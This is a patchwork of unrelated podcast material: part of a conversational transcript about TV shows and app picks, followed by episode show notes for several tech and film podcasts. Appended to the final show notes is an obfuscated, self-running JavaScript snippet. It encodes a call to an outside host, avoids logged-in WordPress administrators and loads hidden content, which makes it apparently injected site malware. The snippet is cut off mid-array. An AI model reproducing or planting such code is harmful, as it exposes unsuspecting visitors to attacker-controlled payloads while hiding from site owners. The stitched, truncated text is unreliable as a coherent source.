ears. Okay. Go ahead. Wave when you’re done. Christina: Rob Robbie can’t pee. And, uh, this wasn’t a real spoiler, but like, but one of the things is like, you know, Robbie’s never able to like, go to the bathroom. Like he can never find a way to pee. So Jeff: I’m back. Brett: you’re safe now. Jeff: I’m back. Christina: you, you’re safe. And I didn’t spoil anything. I was ER Nostalgia and Cast Jeff: The other thing I’ll say about the pit that surprised I did not watch ER and not ’cause out of bad attitude. Uh, it was just a point in my life when I wasn’t watching a lot of tv. Um, I also didn’t realize until I was [00:51:00] like five episodes in that Noah Wiley was a big character in er. I think that’s really cool. Um, Christina: Okay. Okay. I, I understand you weren’t watching TV then, but how did you not realize that Noah Wiley was Jeff: I didn’t know Noah Wiley’s name. Like I, this is just not, I don’t hold names of people. I, you know, I also, on the albums, I love that. I don’t remember song, I don’t know song titles half the time. Um, so I don’t mind You can, you can be very disappointed and express it. And I will accept it. I will receive it. Christina: No, I’m just shocked Jeff: to be better. Christina: because I, I mean, ’cause because I was like 10 years old when ER came out and like, I don’t know, like they were like, that was the number one show on television Jeff: Totally. And I mean, Clooney, come on. I know Clooney. Christina: course Clooney, but, but like, but it was Clooney. It was, but but like the, the, the, the, the original, it was Clooney, it was uh, uh, Sherry Stringfeld, it was um, um, uh, Eric Lesal. It was Juliana Margolis, it was Noah Wiley, and it was Anthony Edwards. So like, Jeff: Oh, my favorite Timber Christina: and I was gonna say ironically going into when er came out, like the, the name was Anthony [00:52:00] Edwards, like, he was like number one on the call sheet, right? Like Clooney I think was like four. Um, and, and then, and then Clooney because he’s a good guy, like blew the fuck up and then still did them a solid and did like a full freaking five years on that show, Jeff: Yeah, which is awesome. Christina: he did not, David, David Caruso, it like David Caruso, who famously like had one, you know, big season of NYPD Blue fucks off to go do a movie career. The movie career implodes, there’s a clause in his contract because A, b, C was so furious about how the way he quit NYPD Blue, that they were like, okay, well you can’t do any television for x number of years. And then his movie career dies and then he has to like come like hat in hand to like CSI Miami. Jeff: Yeah. Yeah. Well I love the pit and this thing that surprised me is the thing I always stayed away from is like I can handle gore in almost every context except real life. And so like I can do all the gore of the Walking Dead. I can do all the gore of Game of Thrones or something, but like, I was like, I don’t know if I want, [00:53:00] yeah. Gore. I love it. I mean, I love it. ’cause I’m fascinated. I’m just fascinated. I’m like, oh, that’s what it looks like when you do that. Like, right. Like you just snip the fingertip off. That’s what it looks like when you do that. Like, Christina: no, Jeff: the first Christina: they show some of the stuff, Jeff: yeah, the first half. I did this every time I covered my face whenever it was like that. And then all of a sudden I could handle it. And I was like, this is fascinating. This is totally Christina: What episode are you, are you up to? How many do you Jeff: I actually, I only have 15 left. I have the last episode left. Um, and unfortunately, like we’ve had, like my brother’s, not unfortunately, my brother’s been, we had stuff every night until late for like three or four days. And I’m so ready to watch that thing. And now, now my wife’s going outta town, so I’m not sure we’ll even see it for another week. It’s making me crazy. Brett: are you watching it together? And you have to wait for her. Jeff: Yeah. Well, and we, and, and sometimes it’s easy for us to find a show together and sometimes there’s just a long dry spell. And so it’s also just like nice. It’s just nice to have a show together always. Um, and so it’s the combination of like, that’s just nice to do and I’m right at the end and I’m just ready to Christina: And you just wanna do that together? [00:54:00] Yeah, no, it makes sense. Season Two and Other Shows Christina: Um, I, I’m, I’m curious to see what you’ll think of season two. Um, I, I, um, it’s, it’s different in some ways. It doesn’t have like the, the, I’m not spoiling anything, but like, it doesn’t have like a big like, catalyzing event, like, like season one does. Um, but I still think it’s, it’s really good TV and, uh, yeah, definitely one of my favorite shows, um, hacks is Back for its final season. That’s definitely one of my favorite Brett: That Jeff: I never Brett: good. I, I finished season one. Um, I think there’s three seasons or is there more? Christina: This, it is now in its fifth season. Yeah. Brett: Okay. Yeah. I, I finished season one and then kind of forgot about it, and then I just saw some trailers for the new season and thought, oh, I should get back into this. It looks, it looks like it, it, it looks like it did well, um, Christina: No, I mean, shrinking. Yeah. Brett: I was gonna say, the new season of shrinking is really good too. Christina: Yeah, it is. Yeah. Um, well, well, uh, bill Lawrence is, is, uh, who created that and he created Scrubs and Spin City and [00:55:00] some other things. Like he’s, he’s really, really, um, good. He also did Rooster, which is now on HBO Max. Um, but, oh, the Scrubs Revival. Speaking of, of new shows, I don’t know if it’s gonna get like renewed because it hasn’t been renewed yet. And so I’m a little bit concerned that it hasn’t been renewed yet, and I only did nine episodes for the first season. But the, the Scrubs reboot, revival, whatever you wanna call it, and I say this is somebody who was a huge scrub fan. I, I don’t consider the, the final season to be scrubs like that. It is not part of Canon to me. Like, I feel like that, that, that wasn’t it, but I thought they actually did an amazing job, um, with the, with the reboot. Like I actually. And, and it was hard for them too because John c McGinley is on Rooster and, um, uh, Judy Reyes is on, um, uh, high Potential. And, um, so, you know, the only like, you know, main characters from the original that they have back in every single episode [00:56:00] are, um, uh, Elliot, JD and Turk. Um, but, uh, and then, and then you see, you know, kind of like, like Carla just isn’t in the office sometimes, but she has some guest appearances. Um, but they actually managed to, to do this, they managed to do like a next generation type of story, but still focused on like the main characters you love, but still kind of bring in like new younger doctors in like a way that I’m genuinely really impressed with how they did it. And, and like it kept the heart and kind of the, the feel of the original, like I, it, it was, I was very, very impressed that they were able to recapture. What made that show so good, um, for, its, I guess they’re calling it its 10th season, but, um, I, I really hope that it comes back because that’s a really good show. Brett: Speaking of reboots, um, they’re rebooting, um, Malcolm in the middle, Jeff: I Christina: Yes, they did. [00:57:00] Yeah. They did a four episode thing. Brett: but what I saw an, I saw Hot ones versus with, um, uh, Frankie Muni and whatever. How Christina: Yeah. Brian Cranston. Who, Brian Cranston. Who, who was, who was the, the father of, of, of Mel King on the pit. Brett: Oh, there you go. Jeff: is so cool. I love her so much. Brett: but anyway, they’re talking about why Dewey wouldn’t come back and basically he was like, I haven’t acted since I was nine. He’s like, he is busy. He is got a life Christina: He’s in grad school, like he went to Harvard and stuff like, like, he’s like, uh, I, which I, I love. And I’m like, okay. You know, I mean, I would’ve loved to see Joey too, but I don’t blame him for being like, no. Brett: Yeah. Jeff: Yeah. Yeah. Brett: neither, neither did the other actors, I don’t think. I think, uh, it, it wasn’t necessary to Christina: no, I was gonna say he wasn’t because Brett: the Yeah, Christina: mean, look, they were able to do Fuller House without the Olson [00:58:00] twins who were a much bigger part of that show Jeff: Fuller Christina: ever was. And, and I, I, I’m not even like defending Fuller house. Like it was, it was fine. It was whatever. But like, even that, you were like, there were enough characters where you’re like, okay, so, so Michelle isn’t here. And that would’ve been weird, to be honest. I don’t think that, like I know that everybody would’ve loved having the cameo, but it’s like, how in the hell are you gonna have the Olson twins, like as adults, even in a cameo on Fuller House without just completely taking you out of the whole thing. You know what I mean? Brett: Yeah. Christina: Like, it just, it just wouldn’t be possible. But Gratitude App Picks Brett: we try to fit in a gude before Jeff: Should we grab, Christina: yeah. Let’s do a gratitude. Brett: Um, I can kick it off. I got one I’m excited about. Um, found this app called Bezel. Um, I needed to do iOS screenshots and I needed to do iOS recordings, and I played around with using Screen flow and screen Studio and Camtasia, and I didn’t like [00:59:00] any of the ways that they recorded iOS movies. And then I found Bezel and I mean, c So screen recording built into iOS, in my opinion, is better than any of the like screen casting apps can do. Um, but bezel, if you, if you hard co hardwire your phone to your computer and turn on screen, mirroring it can record. Perfect. Um. iOS recordings, and it’s really good at just taking screenshots with a single key key command. You get a screenshot with a bezel like the outline of the phone and a desktop background behind it. So I can just hit command S as I like, move through my phone, uh, and then my right hand on my phone, my left hand on my keyboard, and I can get a dozen iOS screenshots in five minutes, and they’re ready to go, like ready to [01:00:00] publish. It’s really nice. Jeff: That’s really awesome. I’m gonna try that. Christina: Same, same. Do you have one Brett, or do you want me to, or uh, Jeff do or do you want me to go. AI Tools and Claude Code Jeff: Uh, I’m happy to go. Um, so this is, this is, uh, an easy one in a way, but I, I wanna be specific about what’s been so useful. So I’ve been using cloud code and vs code forever. I mean for the last, I’d say two or three months. ’cause I’ve got really, really deep into using cloud code actually for qualitative work. Um, but also a totally bananas project I built that has both a. Physical component and a heavy duty code component, which I’ll talk about sometime. Um, but, um, I, and I’ve used the desktop app for cowork and for like just the standard chat and I’ve loved that, but I never used it for cloud code until this latest update, which added like a really amazing interface for cloud code. Um, which is kind of my gratitude is that tab of the desktop app, which like, when you open it up, it gives you like just an awesome little like, work summary of like comedy sessions [01:01:00] you’ve had, how many total tokens you’ve used, like overall the last 30 days, the last seven days, what your peak hour is your longest streak. It has the like GitHub, like little chart that fills in. Um, and, uh, and, and that’s like been really cool to see. Um, and you can also see your usage of various models. It’s just a nice little thing that pops up. And then when you’re actually working, it’s really amazing because you can pull up these sidebars that have like diffs or like a preview or you can just get a terminal open in there. Um, and I have. I have loved that. I still like feel more at home in the VS.
This week Singpolyma joins us to talk about the Cheogram web app. We talk about NASA's Orion Artemis II Optical Communications System (O2O) and how it's changing the way long distance communication works! -- During The Show -- 00:48 - Special Guest Singpolyam cross platform core Cheogram Web App Still considered Alpha Pretty stable Voice, Video, Text JMP.chat data only sim esim adapter Snikket Affect of Google forcing developer registration JMP.Chat 10:38 Comprehension debt Creating prompts Spec driven developing Most people don't read the code No person understands how the code works Peer review vs AI Amazon outages When to use AI code Re-implementing AI code AI summary Rating your understanding RAID log 24:30 Linux Router - Connor VyOS OpenWRT PFSense is out Look for things with an API PFSenseible GitHub Site to Site in medical Dicom Why not to use pfSense OPNsense 35:30 JMP.chat - Aaron Cheogram Web App Webapp Manager GitHub 36:15 System Fails to boot -Advait Can't remember the last time it happened Noah doesn't fix systems Reinstall plus ansible 41:12 News Wire Nginx 1.30 - nginx.org OpenSSL 4.0 - github.com Gnome 50.1 - gnome.org KDE Gear 26.04 - kde.org Mir 2.26 - ubuntu.com Linux 7.1 - theregister.com Zorin OS 18.1 - blog.zorin.com Solus 4.9 - getsol.us Cachy OS has 7.0 Kernel - xda-developers.com Thunderbolt AI Client - phoronix.com Cal Closeing Source Code - zdnet.com 42:25 Sleuth's Feedback VyOS Uses a JSON config file Have the system make backups Supports podman containers System failing to boot Your data is still there Boot from a live distro 45:30 Artemis II Mission Crew Module ESM - European Service Module Radio waves O2O communications 1 watt of power focused beam, sensitive receiver 260 MbPs TechSpot -- The Extra Credit Section -- For links to the articles and material referenced in this week's episode check out this week's page from our podcast dashboard! This Episode's Podcast Dashboard Phone Systems for Ask Noah provided by Voxtelesys Join us in our dedicated chatrSpecial Guest: Stephen Paul Weber.
Hoje o papo é sobre a volta dos arquivos texto. Neste episódio, mergulhamos em como formatos simples e legíveis ganharam ainda mais relevância na era da IA, por que eles ajudam humanos e máquinas a se entenderem melhor, e como esse tipo de estrutura vem se tornando uma nova forma de alfabetização digital. Vem ver quem participou desse papo: Paulo Silveira, o host que escreveu uma carta de amor Sérgio Lopes, cofundador da Alura e CEO do Alun Future Studio Vinny Neves, cohost, dev e professor na Alura Links: Lumina Tweet do Paulo sobre o JSON do MASP Markdown YAML grep CURSO Claude Code: criando sua primeira aplicação Inscreva-se na Hipsters.Builders, a newsletter da comunidade builder. Toda semana, a principal newsletter de quem constrói software no Brasil traz notícias, citações e movimentos da comunidade Builder do X, do Hipsters e do IA Sob Controle, além dos melhores links e eventos. Direto no seu e-mail. Vá para o Vale do Silício com Paulo Silveira, Marcell Almeida, Fabrício Carraro e Marcus Mendes na “Imersão IA Sob Controle e Alura no Vale do Silício“! Vagas limitadas, corra para reservar a sua. TechGuide.sh, um mapeamento das principais tecnologias demandadas pelo mercado para diferentes carreiras, com nossas sugestões e opiniões. #7DaysOfCode: Coloque em prática os seus conhecimentos de programação em desafios diários e gratuitos. Acesse https://7daysofcode.io/ Produção e conteúdo: Alura Cursos de Tecnologia – https://www.alura.com.br Edição e sonorização: Rede Gigahertz de Podcasts
What if you could parse your Altium project files from the command line, generate a full BOM in seconds, extract net lists as AI-readable JSON, and spin up a 3D HTML viewer with zero dependencies — all without ever opening Altium? In this episode of the OnTrack Podcast, host Zach Peterson sits down with Eli Hughes, principal at Wavenumber LLC, to dig into a suite of open-source tools he's built around Altium file formats. Eli walks through the Altium Cruncher toolset, including Mega Maid (a vacuum-cleaner-style data extractor), a 3D PCB visualizer, and a schematic viewer with animated net tracing — all self-contained HTML files requiring no install or cloud connection. The conversation goes far beyond visualizers. Eli reveals how he feeds parsed net lists directly into Claude and Codex for AI-assisted design reviews, power tree analysis, and even automatic Zephyr device tree generation — completing in minutes what used to take a full day. He also lays out his vision for a next-generation PDM system: an AI-queryable knowledge store that ingests decades of schematic history, EVK reference designs from TI, Renesas, NXP, and more, and supply chain data — so engineers can stop reinventing the wheel and start building on proven, procurable circuits. If you care about PCB workflow automation, AI-assisted hardware development, or the future of design reuse, this episode is essential viewing.
Scott and Wes dig into a huge batch of community-submitted projects, from JSON tools and CSS editors to AI agents, view transitions, and everything in between. It's a rapid-fire showcase of what developers have been building, including picks like Arrow JS, Sugar High, Drift, and a whole lot more. Show Notes 00:00 Welcome to Syntax! Wes' Bluesky Post Wes' X Post 01:20 JSON-Alexander. 02:43 FFF - Fastest File Search. 04:44 View Transitions Toolkit. 08:06 Agentation and Svelte Agentation. 11:21 CSS Studio. 13:12 Peon Ping 14:26 Peekdown. 16:03 Dex. 20:22 Content Copilot. 22:16 Opencode Sentry Monitor. pi-sentry-monitor. 24:56 Arrow JS. 29:20 Comark. 33:19 Silly Software Club. 34:05 Sugar High. 36:04 Drift. 37:19 Fallow. 41:20 Edit Mind. 44:46 Clint. 47:18 Honorable mentions. 47:21 Artemisapp. 49:53 Open Screen. 50:14 CanvidHQ. 52:02 Proxybox Zero. Hit us up on Socials! Syntax: X Instagram Tiktok LinkedIn Threads Wes: X Instagram Tiktok LinkedIn Threads Scott: X Instagram Tiktok LinkedIn Threads Randy: X Instagram YouTube Threads
Topics covered in this episode: Django Modern Rest Already playing with Python 3.15 Cutting Python Web App Memory Over 31% tryke - A Rust-based Ptyhon test runner with a Jest-style API Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python Training The Complete pytest Course Patreon Supporters Connect with the hosts Michael: @mkennedy@fosstodon.org / @mkennedy.codes (bsky) Brian: @brianokken@fosstodon.org / @brianokken.bsky.social Show: @pythonbytes@fosstodon.org / @pythonbytes.fm (bsky) Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Monday at 11am PT. Older video versions available there too. Finally, if you want an artisanal, hand-crafted digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Michael #1: Django Modern Rest Modern REST framework for Django with types and async support Supports Pydantic, Attrs, and msgspec Has ai coding support with llms.txt See an example at the “showcase” section Brian #2: Already playing with Python 3.15 3.15.0a8, 2.14.4 and 3.13.13 are out Hugo von Kemenade beta comes in May, CRs in Sept, and Final planned for October But still, there's awesome stuff here already, here's what I'm looking forward to: PEP 810: Explicit lazy imports PEP 814: frozendict built-in type PEP 798: Unpacking in comprehensions with * and ** PEP 686: Python now uses UTF-8 as the default encoding Michael #3: Cutting Python Web App Memory Over 31% I cut 3.2 GB of memory usage from our Python web apps using five techniques: async workers import isolation the Raw+DC database pattern local imports for heavy libraries disk-based caching See the full article for details. Brian #4: tryke - A Rust-based Ptyhon test runner with a Jest-style API Justin Chapman Watch mode, Native async support, Fast test discovery, In-source testing, Support for doctests, Client/server mode for fast editor integrations, Pretty, per-assertion diagnostics, Filtering and marks, Changed mode (like pytest-picked), Concurrent tests, Soft assertions, JSON, JUnit, Dot, and LLM reporters Honestly haven't tried it yet, but you know, I'm kinda a fan of thinking outside the box with testing strategies so I welcome new ideas. Extras Brian: Why are't we uv yet? Interesting take on the “agents prefer pip” Problem with analysis. Many projects are libraries and don't publish uv.lock file Even with uv, it still often seen as a developer preference for non-libarries. You can sitll use uv with requirements.txt PyCon US 2026 talks schedule is up Interesting that there's an AI track now. I won't be attending, but I might have a bot watch the videos and summarize for me. :) What has technology done to us? Justin Jackson Lean TDD new cover Also, 0.6.1 is so ready for me to start f-ing reading the audio book and get on with this shipping the actual f-ing book and yes I realize I seem like I'm old because I use “f-ing” while typing. Michael: Python 3.14.4 is out Beanie 2.1 release Joke: HumanDB - Blazingly slow. Emotionally consistent.
Big emotions all round this week. We review the long-awaited third season of Euphoria and the aptly titled The Drama, digging into performances, storytelling choices, and whether the hype was justified. We also break down the final trailer for The Mandalorian and Grogu — what it reveals, what it’s hiding, and whether it’s enough to get us genuinely excited again for Star Wars on the big screen. The Drama is now showing in Malaysian cinemas. Season 3 of Euphoria is streaming on HBO Max. Thank you for checking out The Goggler Podcast, if you have any thoughts or questions, just email us on podcast@goggler.my, or reach out to us via Instagram. You can also WhatsApp us on The Goggler Hotline, on +60125245208 RSS: https://goggler.my/feed/podcast/ (function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,